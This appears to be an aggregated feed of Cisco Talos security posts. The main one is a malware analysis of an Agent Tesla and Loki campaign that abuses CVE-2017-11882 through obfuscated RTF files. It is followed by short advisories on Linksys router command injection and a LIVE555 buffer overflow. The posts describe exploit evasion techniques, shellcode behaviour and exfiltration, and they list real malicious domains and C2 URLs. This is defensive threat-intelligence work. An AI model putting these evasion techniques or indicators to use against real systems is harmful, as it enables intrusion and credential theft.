Cisco Talos has discovered a new malware campaign that drops the sophisticated information-stealing trojan called "Agent Tesla," and other malware such as the Loki information stealer. Initially, Talos' telemetry systems detected a highly suspicious document that wasn't picked up by common antivirus solutions. However, Threat Grid, Cisco's unified malware analysis and threat intelligence platform, identified the unknown file as malware. The adversaries behind this malware use a well-known exploit chain, but modified it in such a way so that antivirus solutions don't detect it. In this post, we will outline the steps the adversaries took to remain undetected, and why it's important to use more sophisticated software to track these kinds of attacks. If undetected, Agent Tesla has the ability to steal user's login information from a number of important pieces of software, such as Google Chrome, Mozilla Firefox, Microsoft Outlook and many others. It can also be used to capture screenshots, record webcams, and allow attackers to install additional malware on infected systems.



Technical Details


In most cases, the first stage of the attack occurred in a similar way to the FormBook malware campaign, which we discussed earlier this year in a blog post. The actors behind the previous FormBook campaign used CVE-2017-0199 — a remote code execution vulnerability in multiple versions of Microsoft Office — to download and open an RTF document from inside a malicious DOCX file. We have also observed newer campaigns being used to distribute Agent Tesla and Loki that are leveraging CVE-2017-11882. An example of one of the malware distribution URLs is in the screenshot below. Besides Agent Tesla and Loki, this infrastructure is also distributing many other malware families, such as Gamarue, which has the ability to completely take over a user's machine and has the same capabilities as a typical information stealer.

The aforementioned FormBook blog contains more information about this stage. Many users have the assumption that modern Microsoft Word documents are less dangerous than RTF or DOC files. While this is partially true, attackers can still find ways with these newer file formats to exploit various vulnerabilities.

Figure 1 - First stage exploit

In the case of Agent Tesla, the downloaded file was an RTF file with the SHA256 hash cf193637626e85b34a7ccaed9e4459b75605af46cedc95325583b879990e0e61. At the time the file was analyzed, it had almost no detections on the multi-engine antivirus scanning website VirusTotal. Only two out of 58 antivirus programs found anything suspicious. The programs that flagged this sample were only warning about a wrongly formatted RTF file. AhnLab-V3 marked it for "RTF/Malform-A.Gen," while Zoner said it was likely flagged for "RTFBadVersion."

However, Cisco's Threat Grid painted a different picture, and identified the file as malware.

Figure 2 - ThreatGrid Behavior Indicators (BI)

Figure 2 above shows just a subset of the triggered behaviour indicators (BI), and the part of the process tree below shows the highly suspicious execution chain.
Figure 3 - ThreatGrid process tree

In figure 3, we can see that Winword.exe starts, and a bit later, a svchost process executes the Microsoft Equation Editor (EQNEDT32.exe), which starts a process called "scvhost.exe". Equation Editor is a tool that Microsoft Office uses as a helper application to embed mathematical equations into documents. Word for example, uses OLE/COM functions to start the Equation Editor, which matches what we see in figure 3. It's pretty uncommon for the Equation Editor application to start other executables, like the executable shown in figure 3. Not to mention that an executable using such a similar name, like the system file "svchost.exe," is suspicious on its own. A user could easily miss the fact that the file name is barely changed.

The Threat Grid process timeline below confirms that this file is behaving like typical malware.

Figure 4 - ThreatGrid process timeline

You can see in figure 4 at points 1 and 2 that the Equation Editor downloaded a file called "xyz[1].123" and then created the scvhost.exe process, which created another instance [scvhost.exe(26)] of itself a bit later (blue rectangle). Typical command and control (C2) traffic follows at point 4. At this point, we were sure that this is malware. The question was — why isn't it detected by any antivirus systems? And how does it manage to fly under the radar?

The malicious RTF file


The RTF standard is a proprietary document file format developed by Microsoft as a cross-platform document interchange. A simplified, standard RTF file looks like what you can see in figure 4. It is built out of text and control words (strings). The upper portion is the source code and the lower shows how this file is displayed in Microsoft Word.

Figure 5 - Simple RTF document

RTF files do not support any macro language, but they do support Microsoft Object Linking and Embedding (OLE) objects and Macintosh Edition Manager subscriber objects via the '\object' control word. The user can link or embed an object from the same or different format into the RTF document. For example, the user can embed a mathematical equation formula, created by the Microsoft Equation Editor into the RTF document. Simplified, it would be stored in the object's data as a hexadecimal data stream. If the user opens this RTF file with Word, it hands over the object data to the Equation Editor application via OLE functions and gets the data back in a format that Word can display. In other words, the equation is displayed as being embedded in the document, even if Word could not handle it without the external application. This is pretty much what the file "3027748749.rtf" is doing. The only difference is, it is adding a lot of obfuscation, as you can see in figure 6. The big disadvantages of the RTF standard are that it comes with so many control words and common RTF parsers are supposed to ignore anything they don't know. Therefore, adversaries have plenty of options to obfuscate the content of the RTF files.

Figure 6 - 3027748749.rtf

We were able to use the rtfdump/rtfobj tools to verify the structure and extract the actual object data payload, despite the fact that the RTF file was heavily obfuscated. Figure 8 shows that the file tries to start the Microsoft Equation Editor (class name: EQuATioN.3).

Figure 7 - rtfdump

Figure 8 - rtfobj

In figure 6, you can also see that the adversaries are using the \objupdate trick. This forces the embedded object to update before it's displayed. In other words, the user does not have to click on the object before it's loaded. This would be the case for "normal" objects. But by force-opening the file, the exploit starts right away.

Let's have a look to the objdata content from above, converted to a hexadecimal binary stream. More header details can be found here.

Figure 9 - Headers

We can find a similar MTEF Header like the one described in the FormBook post, but to avoid detection, the adversaries have changed the header's values. The only difference is that, except in the MTEF version field, the actors have filled the header fields with random values. The MTEF version field needs to be 2 or 3 to make the exploit work.

Figure 10 - MTEF V2 header

After the MTEF header, we have an unknown MTEF byte stream tag of two bytes (F1 01) followed by the a Font Tag (08 E0 7B … ).The bytes following the Font Tag (B9 C3 …) do not look like a normal font name, so this is a good indicator that we are looking at an exploit. The bytes do look very different to what we have seen in our research mentioned previously, but let's decode them.

Figure 11 - Shellcode - new campaign.

This looks pretty similar to what we have seen before. In figure 12, you can see the decoded shellcode from our previous research.

Figure 12 - Shellcode - former campaign.

The adversaries have just changed registers and some other minor parts. At this point, we are already pretty sure that this is CVE-2017-11882, but let's prove this.

PyREBox rock 'n' roll


In order to verify that the malicious RTF file is exploiting CVE-2017-11882, we used PyREBox, a dynamic analysis engine developed by Talos. This tool allows us to instrument the execution of a complete system and monitor different events, such as instruction execution, memory read and writes, operating system events, and also provides interactive analysis capabilities that allow us to inspect the state of the emulated system at any time. For additional information about the tool, please refer to the blog posts about its release and the malware monitoring scriptspresented at the Hack in the Box 2018 conference.

For this analysis, we leveraged the shadow stack plugin, which was released together with other exploit analysis scripts (shellcode detection and stack pivoting detection) at EuskalHack Security Congress III earlier this year (slides available). This script monitors all the call and RET instructions executed under the context of a given process (in this case, the equation editor process), and maintains a shadow stack that keeps track of all the valid return addresses (those that follow every executed call instruction).

The only thing we need to do is configure the plugin to monitor the equation editor process (the plugin will wait for it to be created), and open the RTF document inside the emulated guest. PyREBox will stop the execution of the system whenever a RET instruction jumps into an address that is not preceded by a call instruction. This approach allows us to detect the exploitation of stack overflow bugs that overwrite the return address stored on the stack. Once the execution is stopped, PyREBox spawns an interactive IPython shell that allows us to inspect the system and debug and/or trace the execution of the equation editor process.

Figure 13 - PyREBox stops the execution the moment it detects the first return to an invalid address: 0x44fd22.

PyREBox will stop the execution on the return address at 0x00411874, which belongs to the vulnerable function reported in CVE-2017-11882. In this case, the malware authors decided to leverage this vulnerability to overwrite the return address with an address contained in Equation Editor's main executable module: 0x0044fd22. If we examine this address (see Figure 13), we see that it points to another RET instruction that will pop another address from the stack and jump into it. The shadow stack plugin detects this situation again, and stops the execution on the next step of the exploit.

Figure 14 — First stage of the shellcode.

Figure 14 shows the first stage of the shellcode, which is executed right after the second RET. This shellcode will call to GlobalLock function (0x18f36e) and afterward, will jump into a second buffer containing the second stage of the shellcode.

Figure 15 - Start of the second stage of the shellcode.

The second stage of the shellcode consists of a sequence of jmp/call instructions followed by a decryption loop.

Figure 16 - Decryption loop of the second stage of the shellcode.

This decryption loop will unpack the final payload of the shellcode, and finally jump into this decoded buffer. PyREBox allows us to dump the memory buffer containing the shellcode at any point during the execution. There are several ways to achieve this, but one possible way is to use the volatility framework (which is available through the PyREBox shell) to list the VAD regions in the process and dump the buffer containing the interesting code. This buffer can then be imported into IDA Pro for a deeper analysis.

Figure 17 — Decrypted buffer of the second stage (final stage of the shellcode).

This final stage of the shellcode is quite straightforward. It leverages standard techniques to find the kernel32.dll module in the linked list of loaded modules available in the PEB, and afterward, will parse its export table to locate the LoadLibrary and GetProcAddress functions. By using these functions, the script resolves several API functions (ExpandEnvironmentStrings, URLDownloadToFileA, and ShellExecute) to download and execute the xyz.123 binary from the URL, which we have already seen in the Threat Grid analysis. The shellcode starts this executable with the name "scvhost.exe," which we have also seen before in the Threat Grid report.

We have also seen several other campaigns using the exact same infection chain, but delivering Loki as the final payload. We list these in the IOC sections.


Payload details


Let's look into the final payload file "xyz.123" (a8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8) or "scvhost.exe" if you prefer the process name from above.

$ file xyz123.exe

xyz123.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Loading the file into dnSpy— a .NET assembly editor, decompiler and debugger — confirms that it's a .NET executable that's heavily obfuscated. 

Figure 18 - xyz123.exe.

The execution starts at the class constructor (cctor) executing the
<Module>.ҭъЩӂӬҀУ\u0486\u0489їҒреӱҤЫѝйҹП()
method. It loads a large array into memory and decodes it. The rest of the cctor reconstructs a xs.dll and other code from the array and proceeds at the entry point with additional routines. At the end, it jumps by calling the P.M() method into the xs.dll.

Figure 19 - P.M() method.

This one is interesting because it presents us a well-known artifact that shows that the assembly was obfuscated with the Agile.Net obfuscator.

Figure 20 - Agile.Net obfuscator artifact.

Since there is no custom obfuscation, we can just execute the file, wait a while, and dump it via Megadumper, a tool that dumps .NET executables directly from memory. This already looks much better.

Figure 21 - Deobfuscated code step one.

Unfortunately, the obfuscator has encrypted all strings with the H.G() method and we cannot see the content of those strings.

Figure 22 - H.G() method

Luckily, the de4dot .NET deobfuscator tool kills this with one command. We just need to tell it which method in the sample is used to decrypt the strings at runtime. This is done by handing over the Token from the corresponding method, in this case, 0x06000001. De4dot has an issue with auto-detecting the Agile .NETobfuscator, so we have to hand over this function via the '-p' option.

Figure 23 - de4dot .NET deobfuscator.

Even if it looks like the operation failed, it has successfully replaced all obfuscated strings and recovered them, as we can see below.

Figure 24 - Decoded strings.

Examining the source code shows us that the adversaries are using an information stealer/RAT sold by a company selling grayware products: Agent Tesla. Agent Tesla contains a number of questionable functions, such as password stealing, screen capturing and the ability to download additional malware. However, the sellers of this product say that it is used for password recovery and child monitoring.  

Figure 25 - Sample of password stealing methods.

The malware comes with password-stealing routines for more than 25 common applications and other rootkit functions such as keylogging, clipboard stealing, screenshots and webcam access. Passwords are stolen from the following applications, among others:

  • Chrome
  • Firefox
  • Internet Explorer
  • Yandex
  • Opera
  • Outlook
  • Thunderbird
  • IncrediMail
  • Eudora
  • FileZilla
  • WinSCP
  • FTP Navigator
  • Paltalk
  • Internet Download Manager
  • JDownloader
  • Apple keychain
  • SeaMonkey
  • Comodo Dragon
  • Flock
  • DynDNS


This version comes with routines for SMTP, FTP and HTTP exfiltration, but is using only the HTTP POST one which you can see in figure 26 below. The decision as to which exfiltration method is used is hardcoded in a variable stored in the configuration, which is checked in almost all methods like this:

if (Operators.CompareString(_P.Exfil, "webpanel", false) == 0)
...
else if (Operators.CompareString(_P.Exfil, "smtp", false) == 0)
...
else if (Operators.CompareString(_P.Exfil, "ftp", false) == 0)

Figure 26 - HTTP exfiltration routine.

For example, it creates the POST request string, as you can see below in figure 27.

Figure 27 - POST request.

Then, it encrypts it with 3DES before sending it (figure 28). The _P.Y ("0295A...1618C") method in figure 25 creates the MD5 hash of the string. This hash is used as secret for the 3DES encryption.

Figure 28 - 3DES Encryption method



Conclusion


This is a highly effective malware campaign that is able to avoid detection by most antivirus applications. Therefore, it is necessary to have additional tools such as Threat Grid to defend your organization from these kinds of threats.

The actor behind this malware used the RTF standard because of its complexity, and used a modified exploit of a Microsoft Office vulnerability to download Agent Tesla and other malware. It is not completely clear if the actor changed the exploit manually, or if they used a tool to produce the shellcode. Either way, this shows that the actor or their tools have ability to modify the assembler code in such a way that the resulting opcode bytes look completely different, but still exploit the same vulnerability. This is a technique that could very well be used to deploy other malware in a stealthy way in the future.

IOC


Maldocs

cf193637626e85b34a7ccaed9e4459b75605af46cedc95325583b879990e0e61 - 3027748749.rtf

A8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8 - xyz.123

38fa057674b5577e33cee537a0add3e4e26f83bc0806ace1d1021d5d110c8bb2 - Proforma_Invoice_AMC18.docx

4fa7299ba750e4db0a18001679b4a23abb210d4d8e6faf05ce2cbe2586aff23f - Proforma_Invoice_AMC19.docx

1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 - HSBC8117695310_doc


Distribution Domains

avast[.]dongguanmolds[.]com
avast[.]aandagroupbd[.]website


Loki related samples from hxxp://avast[.]dongguanmolds[.]com

a8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8 - xyz.123

5efab642326ea8f738fe1ea3ae129921ecb302ecce81237c44bf7266bc178bff - xyz.123

55607c427c329612e4a3407fca35483b949fc3647f60d083389996d533a77bc7 - xyz.123

992e8aca9966c1d42ff66ecabacde5299566e74ecb9d146c746acc39454af9ae - xyz.123

1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 - HSBC8117695310.doc

d9f1d308addfdebaa7183ca180019075c04cd51a96b1693a4ebf6ce98aadf678 - plugin.wbk


Loki related URLs:

hxxp://46[.]166[.]133[.]164/0x22/fre.php
hxxp://alphastand[.]top/alien/fre.php
hxxp://alphastand[.]trade/alien/fre.php
hxxp://alphastand[.]win/alien/fre.php
hxxp://kbfvzoboss[.]bid/alien/fre.php
hxxp://logs[.]biznetviigator[.]com/0x22/fre.php


Other related samples

1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398
7c9f8316e52edf16dde86083ee978a929f4c94e3e055eeaef0ad4edc03f4a625
8b779294705a84a34938de7b8041f42b92c2d9bcc6134e5efed567295f57baf9
996c88f99575ab5d784ad3b9fa3fcc75c7450ea4f9de582ce9c7b3d147f7c6d5
dcab4a46f6e62cfaad2b8e7b9d1d8964caaadeca15790c6e19b9a18bc3996e18


Vulnerability Spotlight: Linksys ESeries Multiple OS Command Injection Vulnerabilities

$
0
0


These vulnerabilities were discovered by Jared Rittle of Cisco Talos.

Cisco Talos is disclosing several vulnerabilities in the operating system on the Linksys E Series of routers.

Multiple exploitable OS command injection vulnerabilities exist in the Linksys E Series line of routers. An attacker can exploit these bugs by sending an authenticated HTTP request to the network configuration. An attacker could then gain the ability to arbitrarily execute code on the machine.

The E Series is a line of routers for small and home offices that contain several features to make them easier to use. The routers are designed to connect home computers, internet-ready TVs, game consoles, smartphones and other Wi-Fi devices.

Vulnerability Details

TALOS-2018-0625 describes three related vulnerabilities: CVE-2018-3953, CVE-2018-3954 and CVE-2018-3955.

Many of the configuration details passed to the E Series of routers during their configuration must be retained across a device's power cycle. Since the device has only one writable directory (/tmp) and that directory is cleared on reboot, the device uses NVRAM to store configuration details.

All command injection paths follow this process:

When the apply.cgi page is requested with parameters indicating a change to persistent configuration settings, those parameters are processed by the 'get_cgi' function call during, which then get placed directly into NVRAM via a 'nvram_set' call.

After certain configuration changes are made, including both of the changes associated with these vulnerabilities, the device must be rebooted. The httpd binary handles this by sending a SIGHUP signal to PID 1, a binary named 'preinit'. The device then enters a code path where it restarts all necessary system services.

When the 'preinit' binary enters this code path, it exposes functionality where raw data from nvram_get calls is passed into system commands.

In CVE-2018-3953, the data entered into the 'Router Name' input field through the web portal is submitted to apply.cgi as the value to the 'machine_name' POST parameter. The machine_name data goes through the nvram_set process described above. Eventually, within the 'start_lltd' function, a 'nvram_get' call is used to obtain the value of the user-controlled 'machine_name' NVRAM entry. This value is then entered directly into a command intended to write the hostname to a file and then execute it.

CVE-2018-3954 applies to the same input field but follows a slightly different code path. Here, the vulnerability is triggered by 'set_host_domain_name' function in libshared.so where nvram_get is called against the 'machine_name' parameter. The result of that operation is subsequently combined with a string via a sprintf call and passed directly into the system command.

Finally, in CVE-2018-3955, the data entered into the 'Domain Name' input field through the web portal is submitted to apply.cgi as the value to the 'wan_domain' POST parameter. The wan_domain data goes through the nvram_set process described above.

When the 'preinit' binary receives the SIGHUP signal, it enters a code path that calls a function named 'set_host_domain_name' from its libshared.so shared object, which calls nvram_get against the 'wan_domain' parameter. The result of that operation is subsequently combined with a string via a snprintf call and passed directly into the system command.

Affected devices

The vulnerabilities are confirmed in multiple devices of the Linksys E Series of wireless routers with various firmware versions. Users are advised to update their routers to the latest version released by the manufacturer.

Discussion

Home routers have become one of the main targets for malicious attacks. Although these vulnerabilities require the attacker to have already authenticated with the device, the vulnerabilities are serious as they allow a potential attacker full control over the device, which may include installation of additional malicious code.

Widespread internet-of-things attacks such as Mirai and VPNFilter show that attackers will keep their focus on discovering new vulnerabilities which would allow them to infect devices and conduct large scale as well as targeted attacks. These attacks are more difficult to detect and protection is available only after their manufacturers update the firmware and patch the vulnerability.

Keeping the device firmware up to date is crucial to avoid SOHO routers participating in a distributed denial-of-service (DDoS) attack or becoming an infection vector in an attack targeted to your organization.

Coverage

The following SNORTⓇ rule detects attempts to exploit these vulnerabilities. Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For all current rule information, please refer to your Firepower Management Center or Snort.org.

Snort rule: 47133


Vulnerability Spotlight: Live Networks LIVE555 streaming media RTSPServer code execution vulnerability

$
0
0


These vulnerabilities were discovered by Lilith Wyatt of Cisco Talos.

Cisco Talos is disclosing a code execution vulnerability that has been identified in Live Networks LIVE555 streaming media RTSPServer.

LIVE555 Streaming Media is a set of open-source C++ libraries developed by Live Networks Inc. for multimedia streaming. The libraries support open standards such as RTP/RTCP and RTSP for streaming, and can also manage video RTP payload formats such as H.264, H.265, MPEG, VP8, and DV, and audio RTP payload formats such as MPEG, AAC, AMR, AC-3 and Vorbis. It is used internally by well-known software such as VLC and MPlayer.

An exploitable code execution vulnerability exists in the HTTP packet-parsing functionality of the LIVE555 RTSP server library. A specially crafted packet can cause a stack-based buffer overflow, resulting in code execution. An attacker can send a packet to trigger this vulnerability.



Vulnerability details


TALOS-2018-0684 describes the vulnerability CVE-2018-4013. The LIVE555 Media Libraries are a lightweight set of multimedia streaming libraries for RTSP/RTCP/RTSP/SIP, with code support for both servers and clients. They are utilized by popular media players such as VLC and MPlayer, as well as a multitude of embedded devices (mainly cameras).

One of the functionalities enabled by LIVE555 for their standard RTSP server is the ability to tunnel RTSP over HTTP, which is served by a different port bound by the server, typically TCP 80, 8000, or 8080, depending on what ports are available on the host machine. This port can support normal RTSP, but in certain cases, the HTTP client can negotiate the RTSP-over-HTTP tunnel.

The vulnerability exists in the function that parses HTTP headers for tunneling RTSP over HTTP. An attacker may create a packet containing multiple "Accept:" or "x-sessioncookie" strings which could cause a stack buffer overflow in the function "lookForHeader."

Affected software


The vulnerability is confirmed in Live Networks LIVE555 Media Server, version 0.92 but it may also be present in the earlier version of the product.


Coverage


The following SNORTⓇ rules detect attempts to exploit these vulnerabilities. Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For all current rule information, please refer to your Firepower Management Center or Snort.org.

Snort Rules:



Viewing all 2026 articles
Browse latest View live